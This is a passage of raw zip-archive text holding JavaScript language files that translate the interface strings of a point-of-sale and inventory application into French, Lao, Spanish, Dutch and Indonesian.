produit.", "confirm_delete_customer_group": "Ce groupe de clients sera supprimé.", "prev": "Précédent", "next": "Prochain", "end_tour": "Fin de tour", "inc_tax": "Taxes comprises", "exc_tax": "Hors tax", "file_browse_label": "Feuilleter..", "remove": "Retirer", "apply": "Appliquer", "custom_range": "Gamme personnalisée", "action": "Action", "copy": "Copier", "export_to_csv": "Exporter au format CSV", "export_to_excel": "Exporter au format Excel", "export_to_pdf": "Exporter au format PDF", "print": "Imprimer", "col_vis": "Visibilité de la colonne", "search": "Recherche", "show": "Afficher", "entries": "entrées", "table_emptyTable": "Aucune donnée disponible", "table_info": "Affiche _START_ à _END_ sur _TOTAL_ entrées", "table_infoEmpty": "Affichage 0 à 0 de 0 entrées", "table_loadingRecords": "Chargement...", "table_processing": "En traitement...", "table_zeroRecords": "Aucun enregistrements correspondants trouvés", "first": "Premier", "last": "Dernier", "previous": "Précédent", "contact_id_already_exists": "L'ID de contact existe déjà", "register": "Registre", "specify_business_name": "Veuillez préciser le nom de votre entreprise", "password_min_length": "Le mot de passe doit comporter au moins 4 caractères", "password_mismatch": "Non concordance des mots de passe", "invalid_username": "Le nom d'utilisateur ou l'utilisateur invalide existe déjà", 'details': 'Détails', 'select_location': "Vous devez sélectionner l'emplacement avant de sélectionner des produits.", 'location_id_already_exists': "L'ID de lieu existe déjà", 'add_name_as_new_supplier': 'Ajouter ":name" en tant que nouveau fournisseur', 'all': 'Tout', 'filter_by_date': 'Filtrer par date', 'form_will_get_reset': 'Tous les produits ajoutés seront supprimés.', 'tour_step3_content_modified': 'Ajouter plusieurs emplacements, taux de taxe, paramètres de facturation pour votre boutique.', 'tour_step5_content_modified': 'Ajouter des produits - Produits simples ou variables <br> Créer des variantes pour des produits variables <br> Créer des unités, des marques et des catégories <br> Imprimer des étiquettes', "pos_max_qty_error": "Seulement :max_val :unit_name disponible", "lot_max_qty_error": "Only :max_val :unit_name disponible dans le lot sélectionné", "email_taken": "Cet email a déjà été pris.", "loading": "Chargement", "load_more": "Charger plus", "mobile": "Mobile", "something_went_wrong": "Quelque chose a mal tourné", "max_rp_reached_error": "Maximum :max_points :rp_name disponible", "min_order_total_error": "Le montant minimum de commande doit être :min_order pour échanger :rp_name", "this_year": "Cette année", "last_year": "L'année dernière", "last_financial_year": "Dernier exercice", "this_month_last_year": "Ce mois l'année dernière", 'enter_pin_here': 'Entrez le code PIN ici', 'authentication_failed': "Échec de l'authentification !", 'authentication_successfull': 'Authentification réussie', 'please_enter' : 'Veuillez entrer', 'or_more_characters' : 'ou plus de caractères', };PK Q�Z�2N"-0 -0 lo.jsnu �[��� LANG = { 'required': 'ຕ້ອງການ', 'sure': 'ເຈົ້າແນ່ໃຈບໍ່ ?', 'remove_product': 'ທ່ານແນ່ໃຈບໍ່ທີ່ຈະເອົາຜະລິດຕະພັນອອກ?', 'cancel_invoice': 'ເຈົ້າແນ່ໃຈບໍ່ວ່າຍົກເລີກໃບແຈ້ງໜີ້?', 'no_products': 'ບໍ່ໄດ້ເພີ່ມຜະລິດຕະພັນ', 'paid_amount_is_less_than_payable': 'ຈໍານວນເງິນທີ່ຈ່າຍແມ່ນຫນ້ອຍກວ່າຈໍານວນທີ່ຕ້ອງຈ່າຍ. \nກະລຸນາກົດ OK ເພື່ອສົ່ງການຂາຍ.', 'paid_amount_is_more_than_payable': 'ຈໍານວນເງິນທີ່ຈ່າຍແມ່ນຫຼາຍກ່ວາຈໍານວນທີ່ຕ້ອງຈ່າຍ. \nກະລຸນາກວດເບິ່ງ.', 'confirm_delete_role': 'ບົດບາດນີ້ຈະຖືກລຶບອອກ.', 'sku_already_exists': 'SKU ມີຢູ່ແລ້ວ.', 'ref_no_already_exists': 'ໝາຍເລກອ້າງອີງຖືກໃຊ້ແລ້ວ.', 'out_of_stock': 'ສິນຄ້າບໍ່ມີໃນສະຕ໋ອກ', 'delete_invoice_confirm': 'ການຕັ້ງຄ່ານີ້ຈະຖືກລຶບອອກ.', 'add_name_as_new_customer': 'ເພີ່ມ ":name" ເປັນລູກຄ້າໃຫມ່', 'today': 'ມື້ນີ້', 'yesterday': 'ມື້ວານນີ້', 'last_7_days': '7 ມື້ສຸດທ້າຍ', 'last_30_days': '30 ມື້ສຸດທ້າຍ', 'this_month': 'ເດືອນນີ້', 'last_month': 'ເດືອນທີ່ຜ່ານມາ', 'this_financial_year': 'ປີການເງິນໃນປະຈຸບັນ', 'clear': 'ແຈ້ງ', 'no_products_added': 'ບໍ່ໄດ້ເພີ່ມຜະລິດຕະພັນ, ເພີ່ມບາງຜະລິດຕະພັນກ່ອນ', 'some_error_in_input_field': 'ການປ້ອນຂໍ້ມູນບໍ່ຖືກຕ້ອງ, ກວດເບິ່ງ ແລະລອງໃໝ່ອີກ!!', 'confirm_delete_expense_category': 'ໝວດນີ້ພ້ອມກັບຄ່າໃຊ້ຈ່າຍທັງໝົດພາຍໃຕ້ໝວດໝູ່ນີ້ຈະຖືກລຶບຖິ້ມ.', 'confirm_delete_expense': 'ຄ່າໃຊ້ຈ່າຍນີ້ຈະຖືກລຶບ.', 'confirm_delete_payment': 'ການຈ່າຍເງິນນີ້ຈະຖືກລຶບອອກ.', 'confirm_delete_user': 'ຜູ້ໃຊ້ນີ້ຈະຖືກລຶບ,', 'confirm_delete_contact': 'ການຕິດຕໍ່ນີ້ຈະຖືກລຶບ,', 'confirm_delete_variation': 'ຕົວແປນີ້ພ້ອມກັບຄ່າທັງໝົດຂອງມັນຈະຖືກລຶບ.', 'confirm_tax_group': 'ກຸ່ມພາສີນີ້ຈະຖືກລຶບອອກ.', 'confirm_delete_category': 'ໝວດໝູ່ນີ້ພ້ອມກັບໝວດຍ່ອຍທັງໝົດພາຍໃຕ້ມັນຈະຖືກລຶບຖິ້ມ.', 'confirm_delete_unit': 'ໜ່ວຍນີ້ຈະຖືກລຶບ.', 'confirm_delete_tax_rate': 'ອັດຕາພາສີນີ້ຈະຖືກລຶບອອກ.', 'confirm_delete_brand': 'ຍີ່ຫໍ້ນີ້ຈະຖືກລຶບອອກ.', 'confirm_delete_barcode': 'ການຕັ້ງຄ່າບາໂຄດນີ້ຈະຖືກລຶບອອກ.', 'add_name_as_new_product': 'ຕື່ມ ":term" ເປັນຜະລິດຕະພັນໃຫມ່', 'no_products_found': 'ບໍ່ພົບຜະລິດຕະພັນທີ່ກົງກັນ!', 'cancel': 'ຍົກເລີກ', 'ok': 'ຕົກລົງ', 'view_stock_details': 'ເບິ່ງຫຼັກຊັບສໍາລັບແຕ່ລະການປ່ຽນແປງ', 'tour_step1_title': 'ການນໍາທ່ຽວຄໍາຮ້ອງສະຫມັກ', 'tour_step1_content': 'ໃຫ້ຜ່ານຄໍາຮ້ອງສະຫມັກໃນ 7 ຂັ້ນຕອນໄວ ...', 'tour_step2_title': 'ຂັ້ນຕອນທີ 1: ລາຍລະອຽດຮ້ານຄ້າ', 'tour_step2_content': 'ທີ່ນີ້ເຈົ້າສາມາດຊອກຫາຂໍ້ມູນທີ່ກ່ຽວຂ້ອງກັບຮ້ານຄ້າຂອງເຈົ້າ, ຂໍ້ມູນພື້ນຖານ, SKU ຜະລິດຕະພັນ, ສ່ວນຫຼຸດ, ພາສີ ແລະການຕັ້ງຄ່າອື່ນໆ.', 'tour_step3_title': 'ຂັ້ນຕອນທີ 2: ເພີ່ມຊັບພະຍາກອນ', 'tour_step4_title': 'ຂັ້ນຕອນທີ 3: ຜູ້ສະໜອງ ແລະລູກຄ້າ', 'tour_step4_content': 'ຜູ້ສະຫນອງແລະລູກຄ້າທັງຫມົດສໍາລັບຮ້ານຂອງທ່ານ.', 'tour_step5_title': 'ຂັ້ນຕອນທີ 4: ການຄຸ້ມຄອງຜະລິດຕະພັນ', 'tour_step6_title': 'ຂັ້ນຕອນທີ 5: ຈັດການການຊື້', 'tour_step6_content': 'ຈັດການການຊື້ແລະການຈ່າຍເງິນສໍາລັບການຊື້.', 'tour_step7_title': 'ຂັ້ນຕອນທີ 6: ການຄຸ້ມຄອງການຂາຍ', 'tour_step7_content': 'ຂາຍ -> POS, ໃຊ້ຫນ້າຈໍນີ້ໃນຂະນະທີ່ຂາຍຜະລິດຕະພັນຫຼືລູກຄ້າອອກໃບບິນ. ເລືອກທີ່ຕັ້ງ, ເພີ່ມຜະລິດຕະພັນແລະສໍາເລັດຮູບມັນ.', 'tour_step8_title': 'ຂັ້ນຕອນທີ 7: ລາຍງານ', 'tour_step8_content': 'ເບິ່ງບົດລາຍງານການວິເຄາະສໍາລັບຮ້ານຂອງທ່ານ. ບົດລາຍງານເຫຼົ່ານີ້ຊ່ວຍໃຫ້ທ່ານໄດ້ຮັບຂໍ້ມູນໂດຍລວມກ່ຽວກັບການປະຕິບັດງານຂອງທຸລະກິດຂອງທ່ານ.', 'label_no_product_error': 'ກະລຸນາເພີ່ມຢ່າງໜ້ອຍໜຶ່ງຜະລິດຕະພັນ.', 'confirm_delete_customer_group': 'ກຸ່ມລູກຄ້ານີ້ຈະຖືກລຶບ.', 'prev': 'ກ່ອນຫນ້ານີ້', 'next': 'ຕໍ່ໄປ', 'end_tour': 'ສິ້ນສຸດການທ່ອງທ່ຽວ', 'inc_tax': ' Inc. ພາສີ', 'exc_tax': 'ຕົວຢ່າງ. ພາສີ', 'file_browse_label': 'ເບິ່ງ..', 'remove': 'ເອົາອອກ', 'apply': 'ສະຫມັກ', 'custom_range': 'ຊ່ວງທີ່ກໍານົດເອງ', 'action': 'ການປະຕິບັດ', 'copy': 'ສຳເນົາ', 'export_to_csv': 'ສົ່ງອອກເປັນ CSV', 'export_to_excel': 'ສົ່ງອອກໄປຍັງ Excel', 'export_to_pdf': 'ສົ່ງອອກເປັນ PDF', 'print': 'ພິມ', 'col_vis': 'ການເບິ່ງເຫັນຖັນ', 'search': 'ຄົ້ນຫາ', 'show': 'ສະແດງ', 'entries': 'ລາຍການ', 'table_emptyTable': 'ບໍ່ມີຂໍ້ມູນຢູ່ໃນຕາຕະລາງ', 'table_info': 'ກຳລັງສະແດງ _START_ ຫາ _END_ ຈາກທັງໝົດ _TOTAL_ ລາຍການ', 'table_infoEmpty': 'ສະແດງ 0 ຫາ 0 ຈາກທັງໝົດ 0 ລາຍການ', 'table_loadingRecords': 'ກຳລັງໂຫລດ...', 'table_processing': 'ການປຸງແຕ່ງ ...', 'table_zeroRecords': 'ບໍ່ພົບບັນທຶກທີ່ກົງກັນ', 'first': 'ທໍາອິດ', 'last': 'ສຸດທ້າຍ', 'previous': 'ກ່ອນຫນ້ານີ້', 'contact_id_already_exists': 'ບັດຕິດຕໍ່ມີຢູ່ແລ້ວ', 'register': 'ລົງທະບຽນ', 'specify_business_name': 'ກະລຸນາລະບຸຊື່ທຸລະກິດຂອງທ່ານ', 'password_min_length': 'ລະຫັດຜ່ານຄວນມີຢ່າງໜ້ອຍ 4 ຕົວອັກສອນ', 'password_mismatch': 'ລະຫັດຜ່ານບໍ່ກົງກັນ', 'invalid_username': 'ຊື່ຜູ້ໃຊ້ບໍ່ຖືກຕ້ອງ ຫຼືຜູ້ໃຊ້ມີຢູ່ແລ້ວ', 'details': 'ລາຍລະອຽດ', 'select_location': 'ທ່ານຕ້ອງເລືອກສະຖານທີ່ກ່ອນທີ່ຈະເລືອກຜະລິດຕະພັນໃດໆ.', 'location_id_already_exists': 'ID ສະຖານທີ່ມີຢູ່ແລ້ວ', 'add_name_as_new_supplier': 'ເພີ່ມ ":name" ເປັນຜູ້ສະຫນອງໃຫມ່', 'all': 'ທັງໝົດ', 'filter_by_date': 'ການກັ່ນຕອງຕາມວັນທີ', 'form_will_get_reset': 'ຜະລິດຕະພັນທີ່ເພີ່ມທັງໝົດຈະຖືກລຶບອອກ.', 'tour_step3_content_modified': 'ເພີ່ມຫຼາຍສະຖານທີ່, ອັດຕາພາສີ, ການຕັ້ງຄ່າໃບເກັບເງິນສໍາລັບຮ້ານຂອງທ່ານ.', 'tour_step5_content_modified': 'ເພີ່ມຜະລິດຕະພັນ - ຜະລິດຕະພັນທີ່ງ່າຍດາຍຫຼືຕົວປ່ຽນແປງ <br> ສ້າງການປ່ຽນແປງສໍາລັບຜະລິດຕະພັນຕົວປ່ຽນແປງ <br> ສ້າງຫນ່ວຍງານ, ຍີ່ຫໍ້ແລະປະເພດ <br> ພິມປ້າຍ', 'pos_max_qty_error': 'ມີພຽງ :max_val :unit_name ເທົ່ານັ້ນ', 'lot_max_qty_error': 'ພຽງແຕ່ :max_val :unit_name ທີ່ມີຢູ່ໃນ Lot ທີ່ເລືອກ', 'email_taken': 'ອີເມວນີ້ໄດ້ຖືກເອົາໄປແລ້ວ.', 'loading': 'ກຳລັງໂຫຼດ', 'load_more': 'ໂຫຼດເພີ່ມເຕີມ', 'mobile': 'ມືຖື', 'something_went_wrong': 'ມີບາງຢ່າງຜິດພາດ', 'max_rp_reached_error': 'ສູງສຸດ :max_points :rp_name ສາມາດໃຊ້ໄດ້', 'min_order_total_error': 'ຈໍານວນຄໍາສັ່ງຂັ້ນຕ່ໍາຄວນຈະເປັນ :min_order ເພື່ອແລກ :rp_name', 'this_year': 'ປີນີ້', 'last_year': 'ປີທີ່ແລ້ວ', 'last_financial_year': 'ປີການເງິນທີ່ຜ່ານມາ', 'this_month_last_year': 'ເດືອນນີ້ປີກາຍນີ້', 'edit': 'ແກ້ໄຂ', 'delete': 'ລົບ', 'view': 'ເບິ່ງ', 'customer': 'ລູກຄ້າ', 'this_card_has_a_due_date': 'ບັດນີ້ມີກຳນົດກຳນົດ', 'this_card_has_a_end_date': 'ບັດນີ້ມີວັນສິ້ນສຸດ', 'this_card_has_a_description': 'ບັດນີ້ມີຄຳອະທິບາຍ', 'this_card_has_comments': 'ບັດນີ້ມີຄໍາເຫັນ', 'more': 'ເພີ່ມເຕີມ', 'lead': 'ນໍາ', 'project': 'ໂຄງການ', 'overview': 'ພາບລວມ', 'activities': 'ກິດຈະກໍາ', 'task': 'ວຽກ', 'time_logs': 'ບັນທຶກເວລາ', 'documents_and_notes': 'ເອກະສານ ແລະໝາຍເຫດ', 'invoices': 'ໃບເກັບເງິນ', 'settings': 'ການຕັ້ງຄ່າ', 'advance_payment_cannot_be_more_than_once': 'ການຈ່າຍເງິນລ່ວງໜ້າບໍ່ສາມາດເລືອກໄດ້ຫຼາຍກວ່າໜຶ່ງຄັ້ງ', 'not_connected_to_a_network': 'ທ່ານບໍ່ໄດ້ເຊື່ອມຕໍ່ກັບເຄືອຂ່າຍ,', 'enter_pin_here': 'ໃສ່ລະຫັດ PIN ທີ່ນີ້', 'authentication_failed': 'ການກວດສອບບໍ່ສຳເລັດ!', 'authentication_successfull': 'ການກວດສອບສົບຜົນສຳເລັດ', 'please_enter' : 'ກະລຸນາປ້ອນ', 'or_more_characters' : 'ຫຼາຍກວ່າຫຍັງຈາກນີ້', };PK Q�ZR~�u es.jsnu �[��� LANG = { "required": "Necesario", "sure": "Estás seguro ?", "remove_product": "¿Estás seguro de eliminar el producto?", "cancel_invoice": "¿Estás seguro de cancelar la factura?", "no_products": "No se agregaron productos", "paid_amount_is_less_than_payable": "El monto pagado es menor que el monto pagadero. \n Presione Aceptar para enviar la venta.", "paid_amount_is_more_than_payable": "El monto pagado es más que el monto pagadero. \ nPor favor revisa.", "confirm_delete_role": "Este rol será eliminado.", "sku_already_exists": "SKU ya existe.", "ref_no_already_exists": "Número de referencia ya utilizado.", "out_of_stock": "Artículo sin stock", "delete_invoice_confirm": "Esta configuración se eliminará.", "add_name_as_new_customer": "Agregar :name como nuevo cliente", "today": "Hoy", "yesterday": "Ayer", "last_7_days": "Los últimos 7 días", "last_30_days": "Últimos 30 días", "this_month": "Este mes", "last_month": "El mes pasado", "this_financial_year": "Ejercicio actual", "clear": "Claro", "no_products_added": "No se agregaron productos, agregue algunos productos primero", "some_error_in_input_field": "Invalid inputs, Check & try again !!", "confirm_delete_expense_category": "Esta categoría junto con todos los gastos en esta categoría se eliminarán", "confirm_delete_expense": "Este gasto se eliminará", "confirm_delete_payment": "Este pago se eliminará", "confirm_delete_user": "Este usuario será eliminado", "confirm_delete_contact": "Este contacto será eliminado", "confirm_delete_variation": "Esta variación junto con todos sus valores se eliminarán", "confirm_tax_group": "Este grupo de impuestos se eliminará", "confirm_delete_category": "Esta categoría junto con todas las subcategorías debajo de ella serán eliminadas", "confirm_delete_unit": "Esta unidad se eliminará", "confirm_delete_tax_rate": "Esta tasa de impuestos se eliminará", "confirm_delete_brand": "Esta marca será eliminada", "confirm_delete_barcode": "Esta configuración de código de barras será eliminada", "add_name_as_new_product": "Agregar :term como nuevo producto", "no_products_found": "¡No se encontró ningún producto que coincida!", "cancel": "Cancelar", "ok": "DE ACUERDO", "view_stock_details": "Ver stock para cada variación", "tour_step1_title": "Recorrido de solicitud", "tour_step1_content": "Repasemos la solicitud en 7 pasos rápidos ...", "tour_step2_title": "Paso 1: detalles de la tienda", "tour_step2_content": "Aquí puede encontrar la información relacionada con su tienda, información básica, código de artículo del producto, descuentos, impuestos y otras configuraciones", "tour_step3_title": "Paso 2: agregar recursos", "tour_step4_title": "Paso 3: Proveedores y clientes", "tour_step4_content": "Todos los proveedores y clientes para su tienda", "tour_step5_title": "Paso 4: Administrar productos", "tour_step6_title": "Paso 5: Administre las compras", "tour_step6_content": "Administrar compras y pago por compras", "tour_step7_title": "Paso 6: administrar ventas", "tour_step7_content": "Vender -> TPV, use esta pantalla mientras vende productos o clientes de facturación. Seleccione Ubicación, Agregue productos y Finalícela", "tour_step8_title": "Paso 7: informes", "tour_step8_content": "Ver informes analíticos para su tienda. Estos informes le ayudan a obtener información general sobre el desempeño de su negocio", "label_no_product_error": "Por favor, agregue al menos un producto", "confirm_delete_customer_group": "Este grupo de clientes se eliminará", "prev": "Anterior", "next": "Siguiente", "end_tour": "Fin de la gira", "inc_tax": "Incluyendo impuesto", "exc_tax": "Excluyendo impuestos", "file_browse_label": "Vistazo..", "remove": "Retirar", "apply": "Aplicar", "custom_range": "Rango personalizado", "action": "Acción", "copy": "Dupdo", "export_to_csv": "Exportar a CSV", "export_to_excel": "Exportar a Excel", "export_to_pdf": "Exportar a PDF", "print": "Impresión", "col_vis": "Visibilidad de columna", "search": "Buscar", "show": "Espectáculo", "entries": "entradas", "table_emptyTable": "No hay datos disponibles en la tabla", "table_info": "Mostrando _START_ a _END_ de _TOTAL_ entradas", "table_infoEmpty": "Mostrando 0 a 0 de 0 entradas", "table_loadingRecords": "Cargando...", "table_processing": "Tratamiento...", "table_zeroRecords": "No se encontraron registros coincidentes", "first": "Primero", "last": "Último", "previous": "Anterior", "contact_id_already_exists": "ID de contacto ya existe", "register": "Registro", "specify_business_name": "Por favor, especifique el nombre de su empresa", "password_min_length": "La contraseña debe tener un mínimo de 4 caracteres", "password_mismatch": "Contraseña no coincide", "invalid_username": "Nombre de usuario o usuario no válido ya existe", 'details': 'Detalles', 'select_location': 'Debe seleccionar la ubicación antes de seleccionar cualquier producto.', 'location_id_already_exists': 'La ID de ubicación ya existe', 'add_name_as_new_supplier': 'Agregar ":name" como nuevo proveedor', 'all': 'Todas', 'filter_by_date': 'Filtrar por fecha', 'form_will_get_reset': 'Todos los productos añadidos serán eliminados.', 'tour_step3_content_modified': 'Agregue múltiples ubicaciones, tasas de impuestos, configuración de facturas para su tienda.', 'tour_step5_content_modified': 'Agregar productos - Productos simples o variables <br> Crear variaciones para productos variables <br> Crear unidades, marcas y categorías <br> Imprimir etiquetas', "pos_max_qty_error": "Sólo :max_val :unit_name disponibles", "lot_max_qty_error": "Solo: max_val :unit_name disponible en el lote seleccionado", "email_taken": "Este correo electronico ya esta en uso.", "loading": "Cargando", "load_more": "Carga más", "mobile": "Móvil", "something_went_wrong": "Algo salió mal", "max_rp_reached_error": "Máximo :max_points :rp_name disponible", "min_order_total_error": "El pedido mínimo total debe ser :min_order para canjear :rp_name", "this_year": "Este año", "last_year": "El año pasado", "last_financial_year": "Último ejercicio financiero", "this_month_last_year": "Este mes el año pasado", 'enter_pin_here': 'Ingrese el PIN aquí', 'authentication_failed': '¡Autenticación fallida!', 'authentication_successfull': 'Autenticación exitosa', 'please_enter' : 'Por favor, ingrese', 'or_more_characters' : 'o más caracteres', };PK Q�Z:hSF F nl.jsnu �[��� LANG = { 'required': 'Vereist', 'sure': 'Weet u het zeker?', 'remove_product': 'Weet u zeker dat u het product wilt verwijderen?', 'cancel_invoice': 'Weet u zeker dat u de factuur wilt annuleren?', 'no_products': 'Geen producten toegevoegd', 'paid_amount_is_less_than_payable': 'Betaald bedrag is minder dan het te betalen bedrag. Druk op OK om de verkoop in te dienen.', 'paid_amount_is_more_than_payable': 'Betaald bedrag is meer dan het te betalen bedrag. \ nControleer.', 'confirm_delete_role': 'Deze rol wordt verwijderd. \ N Weet u het zeker?', 'sku_already_exists': 'SKU bestaat al.', 'ref_no_already_exists': 'Referentienummer al gebruikt.', 'out_of_stock': 'Artikel niet op voorraad', 'delete_invoice_confirm': 'Deze instelling wordt verwijderd. \ n Weet u het zeker?', 'add_name_as_new_customer': 'Toevoegen ":name" als nieuwe klant', "today": "Vandaag", "yesterday": "Gisteren", "last_7_days": "Laatste 7 dagen", "last_30_days": "Laatste 30 dagen", "this_month": "Deze maand", "last_month": "Vorige maand", "this_financial_year": "Huidig boekjaar", "clear": "Duidelijk", "no_products_added": "Geen producten toegevoegd, eerst enkele producten toevoegen", "some_error_in_input_field": "Ongeldige invoer, Controleer & probeer opnieuw !!", "confirm_delete_expense_category": "Deze categorie wordt samen met alle uitgaven onder deze categorie verwijderd.", "confirm_delete_expense": "Deze uitgave wordt verwijderd.", "confirm_delete_payment": "Deze betaling wordt verwijderd.", "confirm_delete_user": "Deze gebruiker wordt verwijderd", "confirm_delete_contact": "Dit contact wordt verwijderd", "confirm_delete_variation": "Deze variatie en alle bijbehorende waarden worden verwijderd.", "confirm_tax_group": "Deze belastinggroep wordt verwijderd.", "confirm_delete_category": "Deze categorie wordt samen met alle subcategorieën eronder verwijderd.", "confirm_delete_unit": "Dit apparaat wordt verwijderd.", "confirm_delete_tax_rate": "Dit belastingtarief wordt verwijderd.", "confirm_delete_brand": "Dit merk zal worden verwijderd.", "confirm_delete_barcode": "Deze barcode-instelling zal worden verwijderd.", "add_name_as_new_product": "Toevoegen :term als nieuw product", "no_products_found": "Geen overeenkomend product gevonden!", "cancel": "Annuleer", "ok": "OK", "view_stock_details": "Voorraad bekijken voor elke variatie", "tour_step1_title": "Application Tour", "tour_step1_content": "Laten we de toepassing in zeven snelle stappen doorlopen ...", "tour_step2_title": "Stap 1: winkeldetails", "tour_step2_content": "Hier kunt u uw winkelgerelateerde informatie, basisinformatie, product-SKU, kortingen, belastingen en andere instellingen vinden.", "tour_step3_title": "Stap 2: Resources toevoegen", "tour_step4_title": "Stap 3: Leveranciers & Klanten", "tour_step4_content": "Alle leveranciers en klanten voor uw winkel.", "tour_step5_title": "Stap 4: Producten beheren", "tour_step6_title": "Stap 5: Aankopen beheren", "tour_step6_content": "Aankopen en betalingen beheren voor aankopen", "tour_step7_title": "Step6: Verkoop beheren", "tour_step7_content": "Verkoop -> POS, Gebruik dit scherm tijdens het verkopen van producten of het factureren van klant. Selecteer Locatie, Producten toevoegen en voltooien.", "tour_step8_title": "Stap 7: Rapporten", "tour_step8_content": "Bekijk analytische rapporten voor uw winkel. Deze rapporten helpen u algemene informatie te krijgen over de prestaties van uw bedrijf.", "label_no_product_error": "Voeg ten minste één product toe.", "confirm_delete_customer_group": "Deze klantengroep zal worden verwijderd.", "prev": "Vorige", "next": "Next", "end_tour": "Einde tour", "inc_tax": "Inclusief belasting", "exc_tax": "Exclusief belasting", "file_browse_label": "Browse ..", "remove": "Verwijderen", "apply": "Van toepassing zijn", "custom_range": "Aangepast bereik", "action": "Actie", "copy": "Kopiëren", "export_to_csv": "Exporteren naar CSV", "export_to_excel": "Exporteren naar Excel", "export_to_pdf": "Exporteren naar PDF", "print": "Afdrukken", "col_vis": "Kolomzichtbaarheid", "search": "Zoeken", "show": "Laten zien", "entries": "Entries", "table_emptyTable": "Geen data beschikbaar in de tabel", "table_info": "_START_ tot _END_ van _TOTAL_ vermeldingen", "table_infoEmpty": "0 tot 0 van 0 vermeldingen", "table_loadingRecords": "Bezig met laden...", "table_processing": "Verwerken...", "table_zeroRecords": "Geen overeenkomende records gevonden", "first": "Eerste", "last": "Laatste", "previous": "Vorige", "contact_id_already_exists": "Contact ID bestaat al", "register": "Registreren", "specify_business_name": "Geef uw bedrijfsnaam op", "password_min_length": "Wachtwoord moet minimaal 4 karakters zijn", "password_mismatch": "Wachtwoord komt niet overeen", "invalid_username": "Ongeldige gebruikersnaam of gebruikersnaam bestaat al", 'details': 'Details', 'select_location': 'U moet een locatie selecteren voordat u producten selecteert.', 'location_id_already_exists': 'Locatie-ID bestaat al', 'add_name_as_new_supplier': 'Voeg ":name" toe als nieuwe leverancier', 'all': 'Alle', 'filter_by_date': 'Filteren op datum', 'form_will_get_reset': 'Alle toegevoegde producten worden verwijderd.', 'tour_step3_content_modified': 'Voeg meerdere locaties, belastingtarieven, factuurinstellingen voor uw winkel toe.', 'tour_step5_content_modified': 'Producten toevoegen - eenvoudige of variabele producten <br> Creëer variaties voor variabele producten <br> Maak eenheden, merken en categorieën <br> Print labels', "pos_max_qty_error": "Only :max_val :unit_name beschikbaar", "lot_max_qty_error": "Only :max_val :unit_name beschikbaar in de geselecteerde partij", "email_taken": "Dit e-mailadres is reeds in gebruik.", "loading": "Bezig met laden", "load_more": "Meer laden", "mobile": "Mobile", "something_went_wrong": "Er is iets fout gegaan", "max_rp_reached_error": "Maximum :max_points :rp_name beschikbaar", "min_order_total_error": "Minimale besteltotaal moet zijn :min_order om in te wisselen :rp_name", "this_year": "Dit jaar", "last_year": "Afgelopen jaar", "last_financial_year": "Laatste boekjaar", "this_month_last_year": "Deze maand vorig jaar", 'enter_pin_here': 'Voer Pin Hier In', 'authentication_failed': 'Authenticatie mislukt!', 'authentication_successfull': 'Authenticatie succesvol', 'please_enter' : 'Voer alstublieft in', 'or_more_characters' : 'of meer karakters', };PK Q�Z��?0x x id.jsnu �[��� LANG = { 'required': 'Diperlukan', 'sure': 'Anda yakin ?', 'remove_product': 'Anda yakin menghapus produk?', 'cancel_invoice': 'Anda yakin membatalkan faktur?', 'no_products': 'Tidak ada produk yang ditambahkan', 'paid_amount_is_less_than_payable': 'Jumlah yang dibayarkan kurang dari jumlah yang harus dibayarkan. \nSilakan tekan OK untuk mengirimkan penjualan.', 'paid_amount_is_more_than_payable': 'Jumlah yang dibayarkan lebih dari jumlah yang harus dibayarkan. \nSilakan periksa.', 'confirm_delete_role': 'Wewenang ini akan dihapus.', 'sku_already_exists': 'SKU sudah ada.', 'ref_no_already_exists': 'Nomor referensi sudah digunakan.', 'out_of_stock': 'Stok habis', 'delete_invoice_confirm': 'Pengaturan ini akan dihapus.', 'add_name_as_new_customer': 'Tambah ":name" sebagai pelanggan baru', 'today': 'Hari ini', 'yesterday': 'Kemarin', 'last_7_days': 'Dalam 7 hari terakhir', 'last_30_days': 'Dalam 30 hari terakhir', 'this_month': 'Bulan ini', 'last_month': 'Bulan sebelumnya', 'this_financial_year': 'Pembukuan Tahun ini', 'clear': 'Bersih', 'no_products_added': 'Tidak ada Produk yang ditambahkan, tambahkan beberapa produk terlebih dahulu', 'some_error_in_input_field': 'Input tidak valid, Periksa & coba lagi!!', 'confirm_delete_expense_category': 'Kategori ini beserta semua biaya di bawah kategori ini akan dihapus.', 'confirm_delete_expense': 'Biaya ini akan dihapus.', 'confirm_delete_payment': 'Pembayaran ini akan dihapus.', 'confirm_delete_user': 'Pengguna ini akan dihapus', 'confirm_delete_contact': 'Kontak ini akan dihapus', 'confirm_delete_variation': "Varian ini beserta semua nilainya akan dihapus.", 'confirm_tax_group': 'Grup pajak ini akan dihapus.', 'confirm_delete_category': 'Kategori ini bersama dengan semua sub-kategori di bawahnya akan dihapus.', 'confirm_delete_unit': 'Satuan ini akan dihapus.', 'confirm_delete_tax_rate': 'Tarif pajak ini akan dihapus.', 'confirm_delete_brand': 'Merek ini akan dihapus.', 'confirm_delete_barcode': 'Pengaturan barcode ini akan dihapus.', 'add_name_as_new_product': 'Tambah ":term" sebagai produk baru', 'no_products_found': 'Tidak ditemukan produk yang cocok!', 'cancel': 'Batal', 'ok': 'OK', 'view_stock_details': 'Lihat stok untuk setiap varian', 'tour_step1_title': 'Tur Aplikasi', 'tour_step1_content': "Ayo masuk aplikasi dalam 7 langkah cepat ..." , 'tour_step2_title': 'Langkah 1: Detail Toko', 'tour_step2_content':'Di sini Anda dapat menemukan informasi terkait toko Anda, informasi dasar, SKU Produk, Diskon, Pajak & pengaturan lainnya.', 'tour_step3_title': 'Langkah 2: Menambahkan Sumber Daya', 'tour_step4_title': 'Langkah 3: Pemasok & Pelanggan', 'tour_step4_content': 'Semua Pemasok & Pelanggan untuk toko Anda.', 'tour_step5_title': 'Langkah 4: Kelola Produk', 'tour_step6_title': 'Langkah 5: Kelola Pembelian', 'tour_step6_content': 'Kelola Pembelian dan Pembayaran untuk pembelian.', 'tour_step7_title': 'Langkah 6: Kelola Penjualan', 'tour_step7_content': 'Jual -> POS, Gunakan layar ini saat menjual produk atau menagih pelanggan. Pilih Lokasi, Tambah Produk dan Selesaikan.', 'tour_step8_title': 'Langkah 7: Laporan', 'tour_step8_content':'Lihat laporan analisa untuk toko Anda. Laporan-laporan ini membantu Anda mendapatkan informasi keseluruhan tentang kinerja bisnis Anda.', 'label_no_product_error': 'Harap, tambahkan setidaknya satu produk.', 'confirm_delete_customer_group': 'Grup pelanggan ini akan dihapus.', 'prev': 'Sebelumnya', 'next': 'Selanjutnya', 'end_tour': 'Akhiri tur', 'inc_tax': 'Inc. Pajak', 'exc_tax': 'Exc. Pajak', 